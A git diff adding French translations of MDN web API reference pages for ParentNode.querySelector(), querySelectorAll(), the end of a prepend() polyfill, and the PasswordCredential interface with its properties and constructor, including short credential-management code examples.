+    Object.defineProperty(item, 'prepend', {
+      configurable: true,
+      enumerable: true,
+      writable: true,
+      value: function prepend() {
+        var argArr = Array.prototype.slice.call(arguments),
+          docFrag = document.createDocumentFragment();
+
+        argArr.forEach(function (argItem) {
+          var isNode = argItem instanceof Node;
+          docFrag.appendChild(isNode ? argItem : document.createTextNode(String(argItem)));
+        });
+
+        this.insertBefore(docFrag, this.firstChild);
+      }
+    });
+  });
+})([Element.prototype, Document.prototype, DocumentFragment.prototype]);</pre>
+
+<h2 id="Spécification">Spécification</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('DOM WHATWG', '#dom-parentnode-prepend', 'ParentNode.prepend()')}}</td>
+   <td>{{Spec2('DOM WHATWG')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<p>{{Compat("api.ParentNode.prepend")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("ParentNode")}} et {{domxref("ChildNode")}}</li>
+ <li>{{domxref("ParentNode.append()")}}</li>
+ <li>{{domxref("Node.appendChild()")}}</li>
+ <li>{{domxref("Node.insertBefore()")}}</li>
+ <li>{{domxref("ChildNode.before()")}}</li>
+ <li>{{domxref("NodeList")}}</li>
+</ul>
diff --git a/files/fr/web/api/parentnode/queryselector/index.html b/files/fr/web/api/parentnode/queryselector/index.html
new file mode 100644
index 0000000000..62844d47b1
--- /dev/null
+++ b/files/fr/web/api/parentnode/queryselector/index.html
@@ -0,0 +1,105 @@
+---
+title: ParentNode.querySelector()
+slug: Web/API/ParentNode/querySelector
+tags:
+  - API
+  - DOM
+  - Draft
+  - Method
+  - NeedsExample
+  - ParentNode
+  - Reference
+  - Selectors
+  - querySelector
+translation_of: Web/API/ParentNode/querySelector
+---
+<p>{{APIRef("DOM")}}{{Draft}}</p>
+
+<p>Le mixin {{DOMxRef("ParentNode")}} définit la méthode <code><strong>querySelector()</strong></code>  comme renvoyant un {{DOMxRef("Element")}} représentant le premier élément correspondant au groupe de sélecteurs spécifié qui sont les descendants de l'objet sur lequel la méthode a été appelée.</p>
+
+<p>Si vous avez besoin de tous les éléments correspondant à la liste de sélecteurs, utilisez plutôt {{DOMxRef("ParentNode.querySelectorAll", "querySelectorAll()")}} .</p>
+
+<div class="blockIndicator note">
+<p><strong><font><font>Remarque:</font></font></strong><font><font> Cette méthode est implémentée comme</font></font> {{DOMxRef("Document.querySelector()")}}, {{DOMxRef("DocumentFragment.querySelector()")}} et {{DOMxRef("Element.querySelector()")}}.</p>
+</div>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox notranslate"><var>élément</var> = <em>parentNode</em>.querySelector(<var>sélécteurs</var>);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>sélécteurs</code></dt>
+ <dd>Un {{DOMxRef("DOMString")}} contenant un ou plusieurs sélecteurs à comparer. Cette chaîne doit être une <a href="/en-US/docs/Web/CSS/CSS_Selectors">compound selector list</a> <font>valide </font><font>prise en charge par le navigateur; sinon, une </font>exception<font> </font><code>SyntaxError</code> est levée. Voir <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors"><font><font>Localisation des éléments DOM à l'aide de sélecteurs</font></font></a> <font>pour plus d'informations sur l'utilisation des sélecteurs pour identifier les éléments. </font><font>Plusieurs sélecteurs peuvent être spécifiés en les séparant à l'aide de virgules.</font></dd>
+</dl>
+
+<div class="blockIndicator note">
+<p><strong><font><font>Remarque: </font></font></strong><font><font>Les caractères qui ne font pas partie de la syntaxe CSS standard doivent être échappés à l'aide d'un caractère barre oblique inverse. </font><font>Étant donné que JavaScript utilise également l'échappement arrière, une attention particulière doit être apportée lors de l'écriture de littéraux de chaîne à l'aide de ces caractères. </font><font>Voir</font></font> {{anch("Escaping special characters")}} pour plus d'informations.</p>
+</div>
+
+<h3 id="Retourner_une_valeur">Retourner une valeur</h3>
+
+<p>Le premier {{DOMxRef("Element")}} qui correspond à au moins l'un des sélecteurs spécifiés ou <code>null</code> si aucun élément de ce type n'est trouvé.</p>
+
+<div class="blockIndicator note">
+<p><strong><font><font>Remarque:</font></font></strong><font><font> Si le spécifié</font></font> <code>sélécteurs</code> <font><font>inclut un </font></font><font><font><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Pseudo-elements">pseudo-élément CSS</a>,</font></font>  la valeur renvoyée est toujours <code>null</code>.</p>
+</div>
+
+<h3 id="Des_exceptions">Des exceptions</h3>
+
+<dl>
+ <dt><code>SyntaxError</code></dt>
+ <dd>La syntaxe de la chaîne <code>sélécteurs</code> <font>spécifiée </font><font>n'est pas valide.</font></dd>
+</dl>
+
+<h2 id="Caractéristiques"><font><font>Caractéristiques</font></font></h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName("DOM WHATWG", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td>
+   <td>{{Spec2("DOM WHATWG")}}</td>
+   <td>Niveau de vie</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Pas de changement</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselector", "ParentNode.querySelector()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 1", "#interface-definitions", "document.querySelector()")}}</td>
+   <td>{{Spec2("Selectors API Level 1")}}</td>
+   <td>Définition originale</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs"><font><font>Compatibilité des navigateurs</font></font></h2>
+
+<div class="hidden"><font><font>Aucune donnée de compatibilité trouvée. </font><font>Veuillez fournir des données pour "api.ParentNode.querySelector" (profondeur: 1) au </font></font><a href="https://github.com/mdn/browser-compat-data" rel="noopener"><font><font>référentiel de données de compatibilité MDN</font></font></a><font><font> .</font></font></div>
+
+<p>{{Compat("api.ParentNode.querySelector")}}</p>
+
+<h2 id="Voir_également"><font><font>Voir également</font></font></h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/API/Document_object_model/Locating_DOM_elements_using_selectors"><font><font>Localisation des éléments DOM à l'aide de sélecteurs</font></font></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Code_snippets/QuerySelector"><font><font>Extraits de code pour </font></font><code>querySelector()</code></a></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Web/CSS/Attribute_selectors"><font><font>Sélecteurs d'attributs</font></font></a><font><font> dans le guide CSS</font></font></li>
+ <li><a href="https://developer.mozilla.org/en-US/docs/Learn/CSS/Introduction_to_CSS/Attribute_selectors"><font><font>Sélecteurs d'attributs</font></font></a><font><font> dans la zone d'apprentissage MDN</font></font></li>
+ <li>Cette méthode est disponible {{DOMxRef("Element.querySelector()")}}, {{DOMxRef("Document.querySelector()")}}, et {{DOMxRef("DocumentFragment.querySelector()")}}</li>
+</ul>
diff --git a/files/fr/web/api/parentnode/queryselectorall/index.html b/files/fr/web/api/parentnode/queryselectorall/index.html
new file mode 100644
index 0000000000..7c38961c38
--- /dev/null
+++ b/files/fr/web/api/parentnode/queryselectorall/index.html
@@ -0,0 +1,83 @@
+---
+title: ParentNode.querySelectorAll()
+slug: Web/API/ParentNode/querySelectorAll
+tags:
+  - API
+  - DOM
+  - Méthodes
+  - Noeuds
+  - Sélecteurs
+  - parent
+translation_of: Web/API/ParentNode/querySelectorAll
+---
+<div>{{ApiRef("DOM")}}</div>
+
+<p>Renvoie une {{domxref("NodeList")}} représentant une liste d'éléments avec l'élément courant comme racine et qui correspondent au groupe de sélecteurs spécifiés.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><var>elementList</var> = document.querySelectorAll(<var>selectors</var>);
+</pre>
+
+<p>où</p>
+
+<ul>
+ <li><code>elementList</code> est une {{domxref("NodeList")}} <a href="https://developer.mozilla.org/fr/docs/Web/API/NodeList#A_sometimes-live_collection">non-directe</a> d'objets {{domxref("element")}}.</li>
+ <li><code>selectors</code> est une chaîne de caractères (<em>string</em>) contenant un ou plusieurs <a href="https://developer.mozilla.org/fr/docs/Web/CSS/S%C3%A9lecteurs_CSS">sélecteurs CSS</a> séparés par des virgules.</li>
+</ul>
+
+<p>La <code>NodeList</code> retournée contiendra tous les éléments dans le document qui correspondent à l'un des sélecteurs spécifiés. Si la chaîne <code><em>selectors</em></code> contient un <a href="https://developer.mozilla.org/fr/docs/Web/CSS/Pseudo-elements">pseudo-element CSS</a>, la <code><var>elementList</var></code> retournée sera vide.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Cet exemple renvoie une liste de tous les éléments <code>div</code> d'un <code>document</code> avec une classe "<code>note</code>" ou "<code>alert</code>" :</p>
+
+<pre class="brush: js">var matches = document.querySelectorAll("div.note, div.alert");
+</pre>
+
+<h2 id="Notes">Notes</h2>
+
+<p>Renvoie une <code>NodeList</code> <a href="https://developer.mozilla.org/fr/docs/Web/API/NodeList#A_sometimes-live_collection">non directe</a> de tous les noeuds éléments correspondant.</p>
+
+<p>Lance une exception <code>SYNTAX_ERR</code> si le groupe de sélecteurs spécifié est invalide.</p>
+
+<p><code>querySelectorAll()</code> fut introduite dans l'API WebApps.</p>
+
+<p>L'argument chaîne passé à <code>querySelectorAll()</code> doit suivre la syntaxe CSS. Voir {{domxref("document.querySelector")}} pour des exemples concrets.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaire</th>
+  </tr>
+  <tr>
+   <td>{{SpecName("Selectors API Level 2", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("Selectors API Level 2")}}</td>
+   <td>Pas de changement.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName("DOM4", "#dom-parentnode-queryselectorall", "ParentNode.querySelectorAll()")}}</td>
+   <td>{{Spec2("DOM4")}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+
+
+<p>{{Compat("api.ParentNode.querySelectorAll")}}</p>
+
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{domxref("Element.querySelectorAll")}}</li>
+ <li>{{domxref("Document.querySelectorAll")}}</li>
+ <li>{{domxref("DocumentFragment.querySelectorAll")}}</li>
+</ul>
diff --git a/files/fr/web/api/passwordcredential/additionaldata/index.html b/files/fr/web/api/passwordcredential/additionaldata/index.html
new file mode 100644
index 0000000000..48af22f69e
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/additionaldata/index.html
@@ -0,0 +1,73 @@
+---
+title: PasswordCredential.additionalData
+slug: Web/API/PasswordCredential/additionalData
+tags:
+  - API
+  - Credential Management API
+  - PasswordCredential
+  - Propriété
+  - Reference
+translation_of: Web/API/PasswordCredential/additionalData
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}{{Deprecated_header}}</p>
+
+<p>La propriété <strong><code>additionalData</code></strong>, rattachée à l'interface {{domxref("PasswordCredential")}}, est une instance de {{domxref("FormData")}} ou une instane de {{domxref("URLSearchParams")}} ou {{jsxref("null")}}.</p>
+
+<p>Les données contenues dans l'objet associé seront ajoutées au corps de la requête et envoyées au point distant avec les informations d'authentification.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>passwordCredential</em>.additionalData = formData
+<em>formData</em> = <em>passwordCredential</em>.additionalData
+passwordCredential.additionalData = urlSearchParams
+<em>ulrSearchParams</em> = <em>passwordCredential</em>.additionalData
+</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une instance {{domxref("FormData")}} ou une instance {{domxref("URLSearchParams")}} ou {{jsxref("null")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans l'exemple suivant, on crée un objet {{domxref("FormData")}} auquel on ajoute un <a href="/docs/Web/Security/Same-origin_policy#How_to_block_cross-origin_access">jeton CSRF</a>. Ensuite, on stocke l'objet du formulaire dans le paramètre <code>additionalData</code> avant de l'envoyer au serveur avec un appel à {{domxref("fetch")}}.</p>
+
+<pre class="brush: js">// L'objet options a été créé au préalable
+navigator.credentials.get(options).then(function(creds) {
+  if (creds.type == 'password') {
+    var form = new FormData();
+    var csrf_token = document.querySelector('csrf_token').value;
+    form.append('csrf_token', csrf_token);
+
+    creds.additionalData = form;
+
+    fetch('https://www.example.com', {
+      method: 'POST',
+      credentials: creds
+    });
+  };
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.additionalData")}}</p>
diff --git a/files/fr/web/api/passwordcredential/iconurl/index.html b/files/fr/web/api/passwordcredential/iconurl/index.html
new file mode 100644
index 0000000000..51e2419de1
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/iconurl/index.html
@@ -0,0 +1,47 @@
+---
+title: PasswordCredential.iconURL
+slug: Web/API/PasswordCredential/iconURL
+tags:
+  - API
+  - Credential Management API
+  - PasswordCredential
+  - Propriété
+  - Reference
+translation_of: Web/API/PasswordCredential/iconURL
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}</p>
+
+<p>La propriété <strong><code>iconURL</code></strong>, rattachée à l'interface {{domxref("PasswordCredential")}}, est accessible en lecture seule et fournit une chaîne de caractères {{domxref("USVString")}} représentant une URL pointant vers l'image d'une icône. Cette image est destinée à être affichée dans un sélecteur d'authentification. L'URL fournie doit être accessible sans authentification.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>url</em> = <em>passwordCredential</em>.iconURL</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères {{domxref("USVString")}} contenant une URL.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management','#dom-credentialuserdata-iconurl','iconURL')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.iconURL")}}</p>
diff --git a/files/fr/web/api/passwordcredential/idname/index.html b/files/fr/web/api/passwordcredential/idname/index.html
new file mode 100644
index 0000000000..61b654c9ea
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/idname/index.html
@@ -0,0 +1,50 @@
+---
+title: idName
+slug: Web/API/PasswordCredential/idName
+tags:
+  - API
+  - PasswordCredential
+  - Propriété
+  - Reference
+  - idName
+translation_of: Web/API/PasswordCredential/idName
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}{{Deprecated_header}}</p>
+
+<p><span class="seoSummary">La propriété <strong><code>idName</code></strong> de l'interface {{domxref("PasswordCredential")}} fournit une chaîne de caractères {{domxref("USVString")}} représentant le nom qui sera utilisé pour le champ d'identifiant, </span>lorsqu'on envoie l'objet courant à un point d'accès distant when submitting the current object to a remote endpoint via {{domxref("fetch")}}. Par défaut, cette propriété vaut <code>'username'</code>, mais on peut la définir avec n'importe quelle valeur qui serait attendue de la part d'un service distant.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var idName = PasswordCredential.idName
+PasswordCredential.idName = "userID"</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères {{domxref("USVString")}} qui représente le nom utilisé pour le champ d'identifiant lorsqu'on envoie l'objet courant à un point distant avec {{domxref("fetch")}}.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">// TBD</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.idName")}}</p>
diff --git a/files/fr/web/api/passwordcredential/index.html b/files/fr/web/api/passwordcredential/index.html
new file mode 100644
index 0000000000..fe89151751
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/index.html
@@ -0,0 +1,86 @@
+---
+title: PasswordCredential
+slug: Web/API/PasswordCredential
+tags:
+  - API
+  - Credential Management API
+  - Interface
+  - PasswordCredential
+  - Reference
+translation_of: Web/API/PasswordCredential
+---
+<p>{{SeeCompatTable}}{{APIRef("Credential Management API")}}</p>
+
+<p>L'interface <code><strong>PasswordCredential</strong></code>, rattachée à l'<a href="/fr/docs/Web/API/Credential_Management_API">API Credential Management</a>, fournit des informations quant à un couple nom d'utilisateur/mot de passe. Pour les navigateurs qui prennent en charge cette fonctionnalité, une instance de cette interface peut être passée comme propriété <code>credential</code> de l'objet <code>init</code> utilisé comme argument de la méthode globale {{domxref('fetch')}}.</p>
+
+<h2 id="Constructeur">Constructeur</h2>
+
+<dl>
+ <dt>{{domxref("PasswordCredential.PasswordCredential()","PasswordCredential()")}}</dt>
+ <dd>Crée un nouvel objet <code>PasswordCredential</code>.</dd>
+</dl>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<p><em>Hérite des propriétés de l'interface parente, {{domxref("Credential")}}.</em></p>
+
+<dl>
+ <dt>{{domxref("PasswordCredential.additionalData")}} {{deprecated_inline()}}</dt>
+ <dd>Une instance {{domxref("FormData")}} ou une instance {{domxref("URLSearchParams")}} ou {{jsxref("null")}}. Les données de cet objet seront ajoutées au corps de la requête et envoyées au point distant avec les informations d'authentification.</dd>
+ <dt>{{domxref("PasswordCredential.iconURL")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("USVString")}} contenant une URL qui pointe vers une image servant d'icône. Cette image est destinée à être utilisée dans le sélecteur d'informations d'authentification. L'URL doit être accessible sans authentification.</dd>
+ <dt>{{domxref("PasswordCredential.idName")}} {{deprecated_inline()}}</dt>
+ <dd>Une chaîne de caractères {{domxref("USVString")}} contenant le nom qui sera uitlisé pour le champ d'identifiant lorsque l'objet courant sera envoyé au point distant grâce à {{domxref("fetch")}}. La valeur par défaut correspond à <code>"username"</code> mais il est possible de surcharger cette valeur afin qu'elle corresponde à ce qui est attendu par le service distant.</dd>
+ <dt>{{domxref("PasswordCredential.name")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("USVString")}} qui contient un nom public, lisible par un humain et qui sera affiché dans le sélecteur d'informations d'authentification.</dd>
+ <dt>{{domxref("PasswordCredential.password")}} {{readonlyinline}}</dt>
+ <dd>Une chaîne de caractères {{domxref("USVString")}} qui contient le mot de passe associé aux informations d'authentification.</dd>
+ <dt>{{domxref("PasswordCredential.passwordName")}} {{deprecated_inline()}}</dt>
+ <dd>Une chaîne de caractères {{domxref("USVString")}} qui représente le nom utilisé pour le mot de passe lorsque l'objet courant est envoyé au point distant avec {{domxref("fetch")}}. Par défaut, cette propriété vaut <code>"password"</code> mais elle peut être surchargée afin que sa valeur corresponde à ce qui est attendu par le service distant.</dd>
+</dl>
+
+<h3 id="Gestionnaires_d'évènement">Gestionnaires d'évènement</h3>
+
+<p>Aucun.</p>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Aucune.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var cred = new PasswordCredential({
+  id: id,
+  password: password,
+  name: name,
+  iconURL: iconUrl
+});
+
+navigator.credentials.store(cred)
+ .then(function() {
+ // Faire quelque chose avec.
+});
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential")}}</p>
diff --git a/files/fr/web/api/passwordcredential/name/index.html b/files/fr/web/api/passwordcredential/name/index.html
new file mode 100644
index 0000000000..a83b8683ff
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/name/index.html
@@ -0,0 +1,47 @@
+---
+title: PasswordCredential.name
+slug: Web/API/PasswordCredential/name
+tags:
+  - API
+  - Credential Management API
+  - PasswordCredential
+  - Propriété
+  - Reference
+translation_of: Web/API/PasswordCredential/name
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}</p>
+
+<p>La propriété <strong><code>name</code></strong> est accessible en lecture seule et est rattachée à l'interface {{domxref("PasswordCredential")}}. C'est une chaîne de caractères {{domxref("USVSTring")}} qui contient un nom public, compréhensible pour un humain et qui est destiné à être affiché dans un sélecteur de fournisseur d'authentification.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>name</em> = <em>passwordCredential</em>.name</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>A {{domxref("USVString")}} containing a name.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management','#dom-credentialuserdata-name','name')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale..</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.name")}}</p>
diff --git a/files/fr/web/api/passwordcredential/password/index.html b/files/fr/web/api/passwordcredential/password/index.html
new file mode 100644
index 0000000000..7fcb6f1c84
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/password/index.html
@@ -0,0 +1,47 @@
+---
+title: PasswordCredential.password
+slug: Web/API/PasswordCredential/password
+tags:
+  - API
+  - Credential Management API
+  - PasswordCredential
+  - Propriété
+  - Reference
+translation_of: Web/API/PasswordCredential/password
+---
+<p>{{SeeCompatTable}}{{APIRef("")}}</p>
+
+<p>La propriété <strong><code>password</code></strong> est une propriété accessible en lecture seule rattachée à l'interface {{domxref("PasswordCredential")}} et fournit une chaîne de caractères {{domxref("USVString")}} contenant le mot de passe lié aux informations d'authentification.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox"><em>password</em> = <em>passwordCredential</em>.password</pre>
+
+<h3 id="Valeur">Valeur</h3>
+
+<p>Une chaîne de caractères {{domxref("USVString")}} contenant le mot de passe.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management','#dom-passwordcredential-password','password')}}</td>
+   <td>{{Spec2('Credential Management')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("api.PasswordCredential.password")}}</p>
diff --git a/files/fr/web/api/passwordcredential/passwordcredential/index.html b/files/fr/web/api/passwordcredential/passwordcredential/index.html
new file mode 100644
index 0000000000..21c7234137
--- /dev/null
+++ b/files/fr/web/api/passwordcredential/passwordcredential/index.html
@@ -0,0 +1,88 @@
+---
+title: PasswordCredential
+slug: Web/API/PasswordCredential/PasswordCredential
+tags:
+  - API
+  - Constructeur
+  - Credential Management API
+  - PasswordCredential
+  - Reference
+translation_of: Web/API/PasswordCredential/PasswordCredential
+---
+<p>{{APIRef("")}}{{Non-standard_header}}</p>
+
+<p>Le constructeur <strong><code>PasswordCredential</code></strong> permet de créer un nouvel objet {{domxref("PasswordCredential")}}.</p>
+
+<p>Pour les navigateurs qui prennent en charge cette fonctionnalité, une instance de cette classe peut être utilisée comme propriété <code>credential</code> pour l'objet <code>init</code> qui sera l'argument pour un appel à {{domxref('fetch')}}.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var mesCredentials = new PasswordCredential(passwordCredentialData)
+var mesCredentials = new PasswordCredential(HTMLFormElement)</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<p>Le constructeur peut prendre l'une de ces deux valeurs en argument.</p>
+
+<dl>
+ <dt><code>passwordCredentialData</code> </dt>
+ <dd>Un dictionnaire <code>PasswordCredentialData</code> avec les champs suivants :
+ <ul>
+  <li><code>iconURL</code> {{optional_inline}} : l'URL de l'image pour l'avatar de l'utilisateur.</li>
+  <li><code>id</code> : l'identifiant de l'utilisateur qui se connecte.</li>
+  <li><code>name</code> {{optional_inline}} : le nom de l'utilisateur qui se connecte.</li>
+  <li><code>password</code> : le mot de passe de l'utilisateur qui se connecte.</li>
+ </ul>
+ </dd>
+ <dt><code>htmlFormElement</code></dt>
+ <dd>Une référence à un objet {{domxref("HTMLFormElement")}} contenant les champs de saisis appropriés. Le formulaire correspondant devrait contenir au moins un champ <code>id</code> et un champ <code>password</code>. Le formulaire peut aussi demander un jeton CSRF.</dd>
+</dl>
+
+<h2 id="Exemples">Exemples</h2>
+
+<p>Dans cet exemple, nous verrons comment définir un formulaire et capturer les données saisies pour créer un objet {{domxref("PasswordCredential")}}.</p>
+
+<h3 id="HTML">HTML</h3>
+
+<pre class="brush: html">&lt;form id="form" method="post"&gt;
+  &lt;input type="text" name="id" autocomplete="username" /&gt;
+  &lt;input type="password" name="password" autocomplete="current-password" /&gt;
+  &lt;input type="hidden" name="csrf_token" value="*****" /&gt;
+&lt;/form&gt;</pre>
+
+<h3 id="JavaScript">JavaScript</h3>
+
+<p>Dans le script, on pourra faire référence à ce formulaire et l'utiliser pour créer un objet {{domxref("PasswordCredential")}} afin de le stocker dans le système de mots de passe de l'agent utilisateur.</p>
+
+<pre class="brush: js">var form = document.querySelector('#form');
+var creds = new PasswordCredential(form);
+// Stocker les informations d'authentification
+navigator.credentials.store(creds)
+  .then(function(creds) {
+  // Faire quelque chose avec les informations d'authentification si besoin
+});</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('Credential Management')}}</td>
